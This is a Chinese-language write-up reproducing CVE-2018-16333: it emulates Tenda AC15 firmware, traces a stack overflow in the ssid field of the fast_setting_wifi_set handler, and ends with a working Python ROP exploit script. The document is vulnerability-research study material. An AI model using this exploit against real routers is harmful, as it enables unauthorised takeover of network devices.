复现 CVE-2018-16333
解压固件
使用binwalk
docker run -t -v "$PWD":/analysis binwalkv3 -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
目录结构如下

固件分析
使用firmwalker查找信息
./firmwalker.sh /root/pwn/iot/squashfs-root ./ac15.txt

使用emba进行分析
模拟运行
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd
卡在了

在0x2E50C处打断点

调试可以发现卡在了check_network这一步,patch掉这个循环

重新运行

根据字符串进行定位继续patch
成功运行起来但是ip地址错误

根据字符串定位
ip来自于
sub_29818:
cp = g_lan_ip;
dword_101A7C = sub_1B84C(cp, n0xFFFF, (int)websAccept, 0);
sub_1B84C(cp,,,):
*(_DWORD *)&s.sa_data[2] = inet_addr(cp);
ip = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
而g_lan_ip是全局变量,来自于
sub_2E420:
GetValue("lan.ip", s);
strcpy(g_lan_ip, s);
进入动态调试
b * 0x002E6B0
我们获取的ip为br0的ip
创建名称为br0的网桥
ip link add name br0 type bridge
ip link set br0 up
ip addr add 10.0.0.1/24 dev br0
ip addr show br0

访问: 10.0.0.1:80

这是因为我们只启动了httpd
cp -r webroot_ro/ webroot

漏洞分析
我们搜索ssid
我们在字符串中没有找到单独的ssid,选择搜索ssid对应的`73 73 69 64

我们可以找到在接口form_fast_setting_wifi_set中,存在缓冲区溢出漏洞

没有对ssid的长度检查便直接进行复杂到了栈上的变量中
跟踪


加载本地符号库
set solib-search-path /root/pwn/iot/squashfs-root/lib
b * 0x6706C
调试发现


不过由于我们在第二次strcpy依旧要用到src,我们需要向src写入一个可读的地址同时还不能被截断
确定libc基地址

libc_base = 0x40a29508 - 0x3E508
0x00040cb8 : mov r0, sp ; blx r3
0x00018298 : pop {r3, pc}
poc
#!/root/com/conda/envs/pwn/bin/python
from pwn import *
import requests
# 禁用代理
session = requests.Session()
session.trust_env = False
URL = "http://10.0.0.1:80/goform/fast_setting_wifi_set"
elf=ELF("./httpd")
libc=ELF("./libc.so.0")
libc_base = 0x40a29508 - 0x3E508
binsh = 0x00626D2+libc_base
pop_r3_pc= libc_base+0x00018298
mov_r0_sp_blx_r3= libc_base+0x00040cb8
readable_addr = libc_base+0x64144
puts_addr = libc_base+0x35CD4 #不可以使用plt因为会发生截断
p=b""+p32(pop_r3_pc)+p32(puts_addr)+p32(mov_r0_sp_blx_r3)+b"HELLO"
payload=b'a'*(0x40800298-0x40800238)+p32(readable_addr)+b'a'*(0x408002b4-0x4080029c)
payload+=p
cookie = {"Cookie":"password=jiy23f"}
data_ = b"ssid="+payload
session.post(url=URL, cookies=cookie, data=data_)
sleep(1)
session.post(url=URL, cookies=cookie, data=data_)
